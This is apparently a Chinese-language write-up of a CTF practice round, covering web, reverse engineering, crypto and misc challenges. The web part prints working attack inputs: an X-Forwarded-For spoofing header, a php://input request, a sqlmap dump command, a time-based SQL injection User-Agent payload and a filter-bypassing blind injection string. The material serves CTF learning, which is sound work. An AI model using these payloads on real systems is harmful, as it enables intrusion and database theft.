NBCTF Pre-training WP
0x00 前言
预赛前练习题
0x01 Web
0x0101 签到~
f12 找 response header 得到Flag
0x0201 Myself~
必须在小红自己的电脑上访问哦,答案格式:flag{xxx}。
链接地址:192.144.182.32:25001
加两个请求头
1 | X-Forwarded-For: 127.0.0.1 |
0x0301 php是…~
PHP是世界上最美的语言,答案格式:flag{xxx}。
链接地址:192.144.182.32:25002
页面源码
1 | <?php |
当$ac===trim(file_get_contents($fn))的时候出flag
构造
1 | POST /?ac=1&fn=php://input HTTP/1.1 |
0x0401 Vulnerabilities~
No Vulnerabilities,答案格式:flag{xxx}。
链接地址:192.144.182.32:25005
扫地址得login.php
注入点在UA
sqlmap一跑就行
1 | sqlmap -r r.txt --dbms=mysql --level=3 --dump -T user_agents -D web |
1 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36' AND (SELECT 2046 FROM (SELECT(SLEEP(1)))Avlh)-- - |
ps:扫出来的.git没用,题目也很坑,注入点也没提示
0x0501 注入吧~
注入吧,答案格式:flag{xxx}。
链接地址:192.144.182.32:20007/
同事做的,注入绕过题,有个flag表flag字段,还有内容,但答案却是库名,不知道出题人怎么想的
1 | ?id=1/**/and/**/binary/**/substr(database(),§1§,1)/**/in/**/('§a§'); |
0x02 Reverse
0x0102 re1
直接搜索字符串
cyberchef from hex
0x0202 MessageBox~
本题要求输入key字符串,正确弹出MessageBox,错误的key则不会弹出MessageBox,请找到正确的Key。Flag格式:flag{xx}
没做出来。。。
0x0302 Game
Play the game!
0x0402 re2
简单的逆向
hint:逆向出exe中包含的字符,输入后即可得到flag
搜索关键词得一堆flag
关键是v2 = a1[6] - 3;
正确的v2对应的就是正确的flag,往前翻找a1[6]
a1[6]=str[6]对应83,所以v2=80
提交发现不对,把里面的base64解了提交就正确了
0x03 Crypto
0x0103 散乱的密文
8fd4a@4c9@4gf15{50}l72d3
一张纸上写着凌乱的2 1 6 5 3 4
bugku题目变种,但flag没换,我们都以为题目写错了,结果一个同事想出了正确的解题步骤
类似这个,但竖着排,再进行6栏W型栅栏
0x0203 综合解密
答案格式:flag{xxxx}。
hint:最终flag字母小写
题目:
596d687162534268643252344948686b5a6e5967636a56355a79426b636d6432
26键键盘包围形式
bhjm -> n
awdx -> s
xdfv -> c
r5yg -> t
drgv -> f
0x0303 rsa1
查看公钥n
n就是Modulus
1 | int(0xC0332C5C64AE47182F6C1C876D42336910545A58F7EEFEFC0BCAAF5AF341CCDD) |
转10进制后直接尝试暴力分解
写出私钥
1 | from Crypto.PublicKey import RSA |
0x0403 rsa2
0x0503 rsa3
0x04 Misc
0x0104 剧情大反转~
没想到剧情会如此的反转,提交flag格式:flag{xxxx}。
文件末尾utf-8解码有16进制数据
倒转后得压缩包,伪加密
解压后得倒的flag图片
0x0204 五彩斑斓的青春~
五彩斑斓的青春如此美好。提交flag格式:flag{xxxx}。
把RGB数值中负数去除,合起来,from hex
0x0304 流量分析~
请分析该该数据包。提交flag格式:flag{xxxx}。
找半天数据包内容
找到这个请求,提取,解压
6个txt合并,复制到010保存文件,得flag二维码
ps:先合并txt再复制到010,一个一个复制到010粘贴为hex会出问题,不知道为什么
0x0404 misc1-bwm
简单的misc
1 | python bwm.py decode 原图.png 有盲水印的图.png 解出来的水印.png |
0x0504 misc2-weight
简单的Misc2
pngcheck或者010打开均可发现报错
爆破高度
1 | import os |
改好高度,再修复一处头,得flag二维码图
0x0604 misc3
RT,超简单的图片隐写
依然是key.jpg底部hex复制反向保存为文件
得key图片
再一个一个工具试过去。。。
1 | steghide.exe extract -sf flags.jpg |